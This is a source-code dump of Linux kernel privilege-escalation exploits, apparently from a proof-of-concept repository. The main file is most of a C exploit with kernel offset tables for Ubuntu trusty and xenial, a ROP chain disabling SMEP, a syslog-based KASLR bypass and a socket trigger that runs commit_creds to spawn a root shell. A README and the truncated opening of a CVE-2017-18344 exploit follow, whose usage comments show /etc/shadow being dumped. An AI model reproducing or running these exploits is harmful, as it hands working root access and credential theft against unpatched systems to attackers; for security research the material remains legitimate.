"4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 113 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 114 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 118 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 119 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 120 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 121 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 122 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 123 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 124 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 125 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 131 | }; 132 | 133 | // Used to get root privileges. 134 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 135 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 136 | 137 | // Used when ENABLE_SMEP_BYPASS is used. 138 | // - xchg eax, esp ; ret 139 | // - pop rdi ; ret 140 | // - mov dword ptr [rdi], eax ; ret 141 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 142 | // - neg rax ; ret 143 | // - pop rcx ; ret 144 | // - or rax, rcx ; ret 145 | // - xchg eax, edi ; ret 146 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 147 | // - jmp rcx 148 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 149 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 150 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 151 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 152 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 153 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 154 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 155 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 156 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 157 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 158 | 159 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 160 | 161 | typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); 162 | typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); 163 | 164 | void get_root(void) { 165 | ((_commit_creds)(COMMIT_CREDS))( 166 | ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); 167 | } 168 | 169 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 170 | 171 | uint64_t saved_esp; 172 | 173 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 174 | // can be used to omit a function's prologue, so I had to use this weird 175 | // wrapper hack as a workaround. Note: Clang does support it, which means it 176 | // has better support of GCC attributes than GCC itself. Funny. 177 | void wrapper() { 178 | asm volatile (" \n\ 179 | payload: \n\ 180 | movq %%rbp, %%rax \n\ 181 | movq $0xffffffff00000000, %%rdx \n\ 182 | andq %%rdx, %%rax \n\ 183 | movq %0, %%rdx \n\ 184 | addq %%rdx, %%rax \n\ 185 | movq %%rax, %%rsp \n\ 186 | call get_root \n\ 187 | ret \n\ 188 | " : : "m"(saved_esp) : ); 189 | } 190 | 191 | void payload(); 192 | 193 | #define CHAIN_SAVE_ESP \ 194 | *stack++ = POP_RDI_RET; \ 195 | *stack++ = (uint64_t)&saved_esp; \ 196 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 197 | 198 | #define SMEP_MASK 0x100000 199 | 200 | #define CHAIN_DISABLE_SMEP \ 201 | *stack++ = MOV_RAX_CR4_RET; \ 202 | *stack++ = NEG_RAX_RET; \ 203 | *stack++ = POP_RCX_RET; \ 204 | *stack++ = SMEP_MASK; \ 205 | *stack++ = OR_RAX_RCX_RET; \ 206 | *stack++ = NEG_RAX_RET; \ 207 | *stack++ = XCHG_EAX_EDI_RET; \ 208 | *stack++ = MOV_CR4_RDI_RET; 209 | 210 | #define CHAIN_JMP_PAYLOAD \ 211 | *stack++ = POP_RCX_RET; \ 212 | *stack++ = (uint64_t)&payload; \ 213 | *stack++ = JMP_RCX; 214 | 215 | void mmap_stack() { 216 | uint64_t stack_aligned, stack_addr; 217 | int page_size, stack_size, stack_offset; 218 | uint64_t* stack; 219 | 220 | page_size = getpagesize(); 221 | 222 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 223 | stack_addr = stack_aligned - page_size * 4; 224 | stack_size = page_size * 8; 225 | stack_offset = XCHG_EAX_ESP_RET % page_size; 226 | 227 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 228 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 229 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 230 | perror("[-] mmap()"); 231 | exit(EXIT_FAILURE); 232 | } 233 | 234 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 235 | 236 | CHAIN_SAVE_ESP; 237 | CHAIN_DISABLE_SMEP; 238 | CHAIN_JMP_PAYLOAD; 239 | } 240 | 241 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 242 | 243 | #define SYSLOG_ACTION_READ_ALL 3 244 | #define SYSLOG_ACTION_SIZE_BUFFER 10 245 | 246 | void mmap_syslog(char** buffer, int* size) { 247 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 248 | if (*size == -1) { 249 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 250 | exit(EXIT_FAILURE); 251 | } 252 | 253 | *size = (*size / getpagesize() + 1) * getpagesize(); 254 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 255 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 256 | 257 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 258 | if (*size == -1) { 259 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 260 | exit(EXIT_FAILURE); 261 | } 262 | } 263 | 264 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 265 | const char* needle1 = "Freeing unused"; 266 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 267 | if (substr == NULL) { 268 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 269 | exit(EXIT_FAILURE); 270 | } 271 | 272 | int start = 0; 273 | int end = 0; 274 | for (end = start; substr[end] != '-'; end++); 275 | 276 | const char* needle2 = "ffffff"; 277 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 278 | if (substr == NULL) { 279 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 280 | exit(EXIT_FAILURE); 281 | } 282 | 283 | char* endptr = &substr[16]; 284 | unsigned long r = strtoul(&substr[0], &endptr, 16); 285 | 286 | r &= 0xffffffffff000000ul; 287 | 288 | return r; 289 | } 290 | 291 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 292 | const char* needle1 = "Freeing unused"; 293 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 294 | if (substr == NULL) { 295 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 296 | exit(EXIT_FAILURE); 297 | } 298 | 299 | int start = 0; 300 | int end = 0; 301 | for (start = 0; substr[start] != '-'; start++); 302 | for (end = start; substr[end] != '\n'; end++); 303 | 304 | const char* needle2 = "ffffff"; 305 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 306 | if (substr == NULL) { 307 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 308 | exit(EXIT_FAILURE); 309 | } 310 | 311 | char* endptr = &substr[16]; 312 | unsigned long r = strtoul(&substr[0], &endptr, 16); 313 | 314 | r &= 0xfffffffffff00000ul; 315 | r -= 0x1000000ul; 316 | 317 | return r; 318 | } 319 | 320 | unsigned long get_kernel_addr() { 321 | char* syslog; 322 | int size; 323 | mmap_syslog(&syslog, &size); 324 | 325 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 326 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 327 | return get_kernel_addr_trusty(syslog, size); 328 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 329 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 330 | return get_kernel_addr_xenial(syslog, size); 331 | 332 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 333 | exit(EXIT_FAILURE); 334 | } 335 | 336 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 337 | 338 | struct ubuf_info { 339 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 340 | uint64_t ctx; // void * 341 | uint64_t desc; // unsigned long 342 | }; 343 | 344 | struct skb_shared_info { 345 | uint8_t nr_frags; // unsigned char 346 | uint8_t tx_flags; // __u8 347 | uint16_t gso_size; // unsigned short 348 | uint16_t gso_segs; // unsigned short 349 | uint16_t gso_type; // unsigned short 350 | uint64_t frag_list; // struct sk_buff * 351 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 352 | uint32_t tskey; // u32 353 | uint32_t ip6_frag_id; // __be32 354 | uint32_t dataref; // atomic_t 355 | uint64_t destructor_arg; // void * 356 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 357 | }; 358 | 359 | struct ubuf_info ui; 360 | 361 | void init_skb_buffer(char* buffer, unsigned long func) { 362 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 363 | memset(ssi, 0, sizeof(*ssi)); 364 | 365 | ssi->tx_flags = 0xff; 366 | ssi->destructor_arg = (uint64_t)&ui; 367 | ssi->nr_frags = 0; 368 | ssi->frag_list = 0; 369 | 370 | ui.callback = func; 371 | } 372 | 373 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 374 | 375 | #define SHINFO_OFFSET 3164 376 | 377 | void oob_execute(unsigned long payload) { 378 | char buffer[4096]; 379 | memset(&buffer[0], 0x42, 4096); 380 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 381 | 382 | int s = socket(PF_INET, SOCK_DGRAM, 0); 383 | if (s == -1) { 384 | perror("[-] socket()"); 385 | exit(EXIT_FAILURE); 386 | } 387 | 388 | struct sockaddr_in addr; 389 | memset(&addr, 0, sizeof(addr)); 390 | addr.sin_family = AF_INET; 391 | addr.sin_port = htons(8000); 392 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 393 | 394 | if (connect(s, (void*)&addr, sizeof(addr))) { 395 | perror("[-] connect()"); 396 | exit(EXIT_FAILURE); 397 | } 398 | 399 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 400 | int rv = send(s, buffer, size, MSG_MORE); 401 | if (rv != size) { 402 | perror("[-] send()"); 403 | exit(EXIT_FAILURE); 404 | } 405 | 406 | int val = 1; 407 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 408 | if (rv != 0) { 409 | perror("[-] setsockopt(SO_NO_CHECK)"); 410 | exit(EXIT_FAILURE); 411 | } 412 | 413 | send(s, buffer, 1, 0); 414 | 415 | close(s); 416 | } 417 | 418 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 419 | 420 | #define CHUNK_SIZE 1024 421 | 422 | int read_file(const char* file, char* buffer, int max_length) { 423 | int f = open(file, O_RDONLY); 424 | if (f == -1) 425 | return -1; 426 | int bytes_read = 0; 427 | while (true) { 428 | int bytes_to_read = CHUNK_SIZE; 429 | if (bytes_to_read > max_length - bytes_read) 430 | bytes_to_read = max_length - bytes_read; 431 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 432 | if (rv == -1) 433 | return -1; 434 | bytes_read += rv; 435 | if (rv == 0) 436 | return bytes_read; 437 | } 438 | } 439 | 440 | #define LSB_RELEASE_LENGTH 1024 441 | 442 | void get_distro_codename(char* output, int max_length) { 443 | char buffer[LSB_RELEASE_LENGTH]; 444 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 445 | if (length == -1) { 446 | perror("[-] open/read(/etc/lsb-release)"); 447 | exit(EXIT_FAILURE); 448 | } 449 | const char *needle = "DISTRIB_CODENAME="; 450 | int needle_length = strlen(needle); 451 | char* found = memmem(&buffer[0], length, needle, needle_length); 452 | if (found == NULL) { 453 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 454 | exit(EXIT_FAILURE); 455 | } 456 | int i; 457 | for (i = 0; found[needle_length + i] != '\n'; i++) { 458 | assert(i < max_length); 459 | assert((found - &buffer[0]) + needle_length + i < length); 460 | output[i] = found[needle_length + i]; 461 | } 462 | } 463 | 464 | void get_kernel_version(char* output, int max_length) { 465 | struct utsname u; 466 | int rv = uname(&u); 467 | if (rv != 0) { 468 | perror("[-] uname())"); 469 | exit(EXIT_FAILURE); 470 | } 471 | assert(strlen(u.release) <= max_length); 472 | strcpy(&output[0], u.release); 473 | } 474 | 475 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 476 | 477 | #define DISTRO_CODENAME_LENGTH 32 478 | #define KERNEL_VERSION_LENGTH 32 479 | 480 | void detect_versions() { 481 | char codename[DISTRO_CODENAME_LENGTH]; 482 | char version[KERNEL_VERSION_LENGTH]; 483 | 484 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 485 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 486 | 487 | int i; 488 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 489 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 490 | strcmp(&version[0], kernels[i].version) == 0) { 491 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 492 | kernel = i; 493 | return; 494 | } 495 | } 496 | 497 | printf("[-] kernel version not recognized\n"); 498 | exit(EXIT_FAILURE); 499 | } 500 | 501 | #define PROC_CPUINFO_LENGTH 4096 502 | 503 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 504 | int smap_smep_enabled() { 505 | char buffer[PROC_CPUINFO_LENGTH]; 506 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 507 | if (length == -1) { 508 | perror("[-] open/read(/proc/cpuinfo)"); 509 | exit(EXIT_FAILURE); 510 | } 511 | int rv = 0; 512 | char* found = memmem(&buffer[0], length, "smep", 4); 513 | if (found != NULL) 514 | rv += 1; 515 | found = memmem(&buffer[0], length, "smap", 4); 516 | if (found != NULL) 517 | rv += 2; 518 | return rv; 519 | } 520 | 521 | void check_smep_smap() { 522 | int rv = smap_smep_enabled(); 523 | if (rv >= 2) { 524 | printf("[-] SMAP detected, no bypass available\n"); 525 | exit(EXIT_FAILURE); 526 | } 527 | #if !ENABLE_SMEP_BYPASS 528 | if (rv >= 1) { 529 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 530 | exit(EXIT_FAILURE); 531 | } 532 | #endif 533 | } 534 | 535 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 536 | 537 | static bool write_file(const char* file, const char* what, ...) { 538 | char buf[1024]; 539 | va_list args; 540 | va_start(args, what); 541 | vsnprintf(buf, sizeof(buf), what, args); 542 | va_end(args); 543 | buf[sizeof(buf) - 1] = 0; 544 | int len = strlen(buf); 545 | 546 | int fd = open(file, O_WRONLY | O_CLOEXEC); 547 | if (fd == -1) 548 | return false; 549 | if (write(fd, buf, len) != len) { 550 | close(fd); 551 | return false; 552 | } 553 | close(fd); 554 | return true; 555 | } 556 | 557 | void setup_sandbox() { 558 | int real_uid = getuid(); 559 | int real_gid = getgid(); 560 | 561 | if (unshare(CLONE_NEWUSER) != 0) { 562 | printf("[!] unprivileged user namespaces are not available\n"); 563 | perror("[-] unshare(CLONE_NEWUSER)"); 564 | exit(EXIT_FAILURE); 565 | } 566 | if (unshare(CLONE_NEWNET) != 0) { 567 | perror("[-] unshare(CLONE_NEWUSER)"); 568 | exit(EXIT_FAILURE); 569 | } 570 | 571 | if (!write_file("/proc/self/setgroups", "deny")) { 572 | perror("[-] write_file(/proc/self/set_groups)"); 573 | exit(EXIT_FAILURE); 574 | } 575 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 576 | perror("[-] write_file(/proc/self/uid_map)"); 577 | exit(EXIT_FAILURE); 578 | } 579 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 580 | perror("[-] write_file(/proc/self/gid_map)"); 581 | exit(EXIT_FAILURE); 582 | } 583 | 584 | cpu_set_t my_set; 585 | CPU_ZERO(&my_set); 586 | CPU_SET(0, &my_set); 587 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 588 | perror("[-] sched_setaffinity()"); 589 | exit(EXIT_FAILURE); 590 | } 591 | 592 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 593 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 594 | exit(EXIT_FAILURE); 595 | } 596 | if (system("/sbin/ifconfig lo up") != 0) { 597 | perror("[-] system(/sbin/ifconfig lo up)"); 598 | exit(EXIT_FAILURE); 599 | } 600 | } 601 | 602 | void exec_shell() { 603 | char* shell = "/bin/bash"; 604 | char* args[] = {shell, "-i", NULL}; 605 | execve(shell, args, NULL); 606 | } 607 | 608 | bool is_root() { 609 | // We can't simple check uid, since we're running inside a namespace 610 | // with uid set to 0. Try opening /etc/shadow instead. 611 | int fd = open("/etc/shadow", O_RDONLY); 612 | if (fd == -1) 613 | return false; 614 | close(fd); 615 | return true; 616 | } 617 | 618 | void check_root() { 619 | printf("[.] checking if we got root\n"); 620 | if (!is_root()) { 621 | printf("[-] something went wrong =(\n"); 622 | return; 623 | } 624 | printf("[+] got r00t ^_^\n"); 625 | exec_shell(); 626 | } 627 | 628 | int main(int argc, char** argv) { 629 | printf("[.] starting\n"); 630 | 631 | printf("[.] checking distro and kernel versions\n"); 632 | detect_versions(); 633 | printf("[~] done, versions looks good\n"); 634 | 635 | printf("[.] checking SMEP and SMAP\n"); 636 | check_smep_smap(); 637 | printf("[~] done, looks good\n"); 638 | 639 | printf("[.] setting up namespace sandbox\n"); 640 | setup_sandbox(); 641 | printf("[~] done, namespace sandbox set up\n"); 642 | 643 | #if ENABLE_KASLR_BYPASS 644 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 645 | KERNEL_BASE = get_kernel_addr(); 646 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 647 | #endif 648 | 649 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 650 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 651 | 652 | unsigned long payload = (unsigned long)&get_root; 653 | 654 | #if ENABLE_SMEP_BYPASS 655 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 656 | mmap_stack(); 657 | payload = XCHG_EAX_ESP_RET; 658 | printf("[~] done, fake stack mmapped\n"); 659 | #endif 660 | 661 | printf("[.] executing payload %lx\n", payload); 662 | oob_execute(payload); 663 | printf("[~] done, should be root now\n"); 664 | 665 | check_root(); 666 | 667 | return 0; 668 | } 669 | -------------------------------------------------------------------------------- /CVE-2017-18344/README.md: -------------------------------------------------------------------------------- 1 | CVE-2017-18344 2 | ============== 3 | 4 | This is a proof-of-concept `/etc/shadow` leak exploit for [CVE-2017-18344](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18344) — an arbitrary-read vulnerability I found in the Linux kernel timer subsystem 5 | See the details in [CVE-2017-18344: Exploiting an arbitrary-read vulnerability in the Linux kernel timer subsystem](https://xairy.io/articles/2018/cve-2017-18344). 6 | -------------------------------------------------------------------------------- /CVE-2017-18344/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept exploit for CVE-2017-18344. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // No support for 1 GB pages or 5 level page tables. 4 | // Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic 5 | // and on CentOS 7 3.10.0-862.9.1.el7.x86_64. 6 | // 7 | // gcc pwn.c -o pwn 8 | // 9 | // $ ./pwn search 'root:!:' 10 | // [.] setting up proc reader 11 | // [~] done 12 | // [.] checking /proc/cpuinfo 13 | // [~] looks good 14 | // [.] setting up timer 15 | // [~] done 16 | // [.] finding leak pointer address 17 | // [+] done: 000000022ca45b60 18 | // [.] mapping leak pointer page 19 | // [~] done 20 | // [.] divide_error: ffffffffad6017b0 21 | // [.] kernel text: ffffffffacc00000 22 | // [.] page_offset_base: ffffffffade48a90 23 | // [.] physmap: ffff8d40c0000000 24 | // [.] task->mm->pgd: ffffffffade0a000 25 | // [.] searching [0000000000000000, 00000000f524d000) for 'root:!:': 26 | // [.] now at 0000000000000000 27 | // [.] now at 0000000002000000 28 | // [.] now at 0000000004000000 29 | // ... 30 | // [.] now at 000000008c000000 31 | // [.] now at 000000008e000000 32 | // [.] now at 0000000090000000 33 | // [+] found at 0000000090ff3000 34 | // [+] done 35 | // 36 | // $ ./pwn phys 0000000090ff3000 1000 shadow 37 | // [.] setting up proc reader 38 | // [~] done 39 | // [.] checking /proc/cpuinfo 40 | // [~] looks good 41 | // [.] setting up timer 42 | // [~] done 43 | // [.] finding leak pointer address 44 | // [+] done: 000000022ca45b60 45 | // [.] mapping leak pointer page 46 | // [~] done 47 | // [.] divide_error: ffffffffad6017b0 48 | // [.] kernel text: ffffffffacc00000 49 | // [.] page_offset_base: ffffffffade48a90 50 | // [.] physmap: ffff8d40c0000000 51 | // [.] task->mm->pgd: ffffffffade0a000 52 | // [.] dumping physical memory [0000000090ff3000, 0000000090ff4000): 53 | // [+] done 54 | // 55 | // $ cat shadow 56 | // root:!:17612:0:99999:7::: 57 | // daemon:*:17590:0:99999:7::: 58 | // bin:*:17590:0:99999:7::: 59 | // ... 60 | // saned:*:17590:0:99999:7::: 61 | // usbmux:*:17590:0:99999:7::: 62 | // user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7::: 63 | // 64 | // Andrey Konovalov 65 | 66 | #define _GNU_SOURCE 67 | 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | #include 77 | #include 78 | #include 79 | #include 80 | 81 | #include 82 | #include 83 | #include 84 | #include 85 | #include 86 | #include 87 | 88 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 89 | 90 | #define DEBUG 0 91 | 92 | // CentOS 7 3.10.0-862.9.1.el7.x86_64 93 | #define KERNEL_START 0xffffffff81000000ul 94 | #define O_DIVIDE_ERROR (0xffffffff81723a40ul - KERNEL_START) 95 | #define O_INIT_TASK (0xffffffff81c16480ul - KERNEL_START) 96 | #define O_INIT_MM (0xffffffff81c914a0ul - KERNEL_START) 97 | #define O_PAGE_OFFSET_BASE (0xffffffff81c41440ul - KERNEL_START) 98 | #define O_TASK_STRUCT_TASKS 1072 99 | #define O_TASK_STRUCT_MM 1128 100 | #define O_TASK_STRUCT_PID 1188 101 | #define O_MM_STRUCT_MMAP 0 102 | #define O_MM_STRUCT_PGD 88 103 | #define O_VM_AREA_STRUCT_VM_START 0 104 | #define O_VM_AREA_STRUCT_VM_END 8 105 | #define O_VM_AREA_STRUCT_VM_NEXT 16 106 | #define O_VM_AREA_STRUCT_VM_FLAGS 80 107 | 108 | #if 0 109 | // Ubuntu xenial 4.4.0-116-generic 110 | #define KERNEL_START 0xffffffff81000000ul 111 | #define O_DIVIDE_ERROR (0xffffffff81851240ul - KERNEL_START) 112 | #define O_INIT_TASK (0xffffffff81e13500ul - KERNEL_START) 113 | #define O_INIT_MM (0xffffffff81e73c80ul - KERNEL_START) 114 | #define O_PAGE_OFFSET_BASE 0 115 | #define O_TASK_STRUCT_TASKS 848 116 | #define O_TASK_STRUCT_MM 928 117 | #define O_TASK_STRUCT_PID 1096 118 | #define O_MM_STRUCT_MMAP 0 119 | #define O_MM_STRUCT_PGD 64 120 | #define O_VM_AREA_STRUCT_VM_START 0 121 | #define O_VM_AREA_STRUCT_VM_END 8 122 | #define O_VM_AREA_STRUCT_VM_NEXT 16 123 | #define O_VM_AREA_STRUCT_VM_FLAGS 80 124 | #endif 125 | 126 | #if 0 127 | // Ubuntu xenial 4.13.0-38-generic 128 | #define KERNEL_START 0xffffffff81000000ul 129 | #define O_DIVIDE_ERROR (0xffffffff81a017b0ul - KERNEL_START) 130 | #define O_INIT_TASK (0xffffffff82212480ul - KERNEL_START) 131 | #define O_INIT_MM (0xffffffff82302760ul - KERNEL_START) 132 | #define O_PAGE_OFFSET_BASE (0xffffffff82248a90ul - KERNEL_START) 133 | #define O_TASK_STRUCT_TASKS 2048 134 | #define O_TASK_STRUCT_MM 2128 135 | #define O_TASK_STRUCT_PID 2304 136 | #define O_MM_STRUCT_MMAP 0 137 | #define O_MM_STRUCT_PGD 80 138 | #define O_VM_AREA_STRUCT_VM_START 0 139 | #define O_VM_AREA_STRUCT_VM_END 8 140 | #define O_VM_AREA_STRUCT_VM_NEXT 16 141 | #define O_VM_AREA_STRUCT_VM_FLAGS 80 142 | #endif 143 | 144 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 145 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 146 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 147 | 148 | #ifndef SYS_memfd_create 149 | #define SYS_memfd_create 319 150 | #endif 151 | 152 | #ifndef O_PATH 153 | #define O_PATH 010000000 154 | #endif 155 | 156 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 157 | 158 | #define PAGE_SHIFT 12 159 | #define PAGE_SIZE 